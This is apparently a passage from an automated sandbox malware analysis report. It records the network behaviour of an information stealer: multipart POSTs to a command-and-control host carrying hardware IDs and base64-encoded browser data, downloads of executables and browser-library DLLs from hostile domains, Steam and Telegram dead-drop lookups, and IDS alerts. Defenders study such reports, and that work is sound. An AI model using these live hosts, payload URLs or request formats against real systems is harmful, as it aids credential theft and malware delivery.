name="build_id"60c3d71341c994ff133b7c9a96482d32------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="mode"2------KKFBAAFCGIEGDHIEBFII--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFIHost: kasm.zubairgul.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 32 33 35 61 66 65 32 35 64 37 62 37 63 30 38 32 30 38 39 62 34 34 39 30 33 36 32 36 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 2d 2d 0d 0a Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="token"6ea235afe25d7b7c082089b449036267------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="mode"21------DGDBKFBAKFBFHIECFBFI--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIEGCAECGCAEBFHDHIEHost: kasm.zubairgul.comContent-Length: 5613Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGCHost: kasm.zubairgul.comContent-Length: 829Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 32 33 35 61 66 65 32 35 64 37 62 37 63 30 38 32 30 38 39 62 34 34 39 30 33 36 32 36 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 2d 2d 0d 0a Data Ascii: ------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="token"6ea235afe25d7b7c082089b449036267------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="file_name"Q29

Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 147.45.44.104 147.45.44.104
Source: Joe Sandbox View	IP Address: 95.164.90.97 95.164.90.97

Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS
Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: VAKPoltavaUkraineUA VAKPoltavaUkraineUA
Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49932 -> 147.45.44.104:80

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /ldms/22594e132764.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: heks.egrowbrands.comConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49733 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00402C40 WSAStartup,socket,WSACleanup,inet_addr,htons,connect,closesocket,WSACleanup,memmove,memmove,_invalid_parameter_noinfo_noreturn,send,recv,memmove,recv,closesocket,WSACleanup,memchr,memchr,_invalid_parameter_noinfo_noreturn,

2_2_00402C40

Source: global traffic	HTTP traffic detected: GET /maslengdsa HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /maslengdsa HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=4b79d08fe1606d63f3_1600165260532006391
Source: global traffic	HTTP traffic detected: GET /ldms/offers.txt HTTP/1.1Host: 147.45.44.104Connection: close
Source: global traffic	HTTP traffic detected: GET /ldms/22594e132764.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: heks.egrowbrands.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache

Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.c equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.c equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: heks.egrowbrands.com
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: kasm.zubairgul.com
Source: global traffic	DNS traffic detected: DNS query: nsdm.cumpar-auto-orice-tip.ro
Source: global traffic	DNS traffic detected: DNS query: exemplarou.sbs
Source: global traffic	DNS traffic detected: DNS query: frizzettei.sbs
Source: global traffic	DNS traffic detected: DNS query: isoplethui.sbs
Source: global traffic	DNS traffic detected: DNS query: bemuzzeki.sbs
Source: global traffic	DNS traffic detected: DNS query: exilepolsiy.sbs
Source: global traffic	DNS traffic detected: DNS query: laddyirekyi.sbs
Source: global traffic	DNS traffic detected: DNS query: invinjurhey.sbs
Source: global traffic	DNS traffic detected: DNS query: wickedneatr.sbs
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCBHost: kasm.zubairgul.comContent-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 44 37 34 42 42 42 44 43 42 38 33 39 34 36 30 39 38 34 33 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="hwid"33D74BBBDCB83946098432-a33c7340-61ca------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------AFHDAKJKFCFBGCBGDHCB--

Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.AAFHDA
Source: MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001623000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001623000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/~
Source: MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgHDA
Source: 22594e132764.exe, 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 22594e132764.exe, 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoJJKFIIJ
Source: MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.multipart/form-data;
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
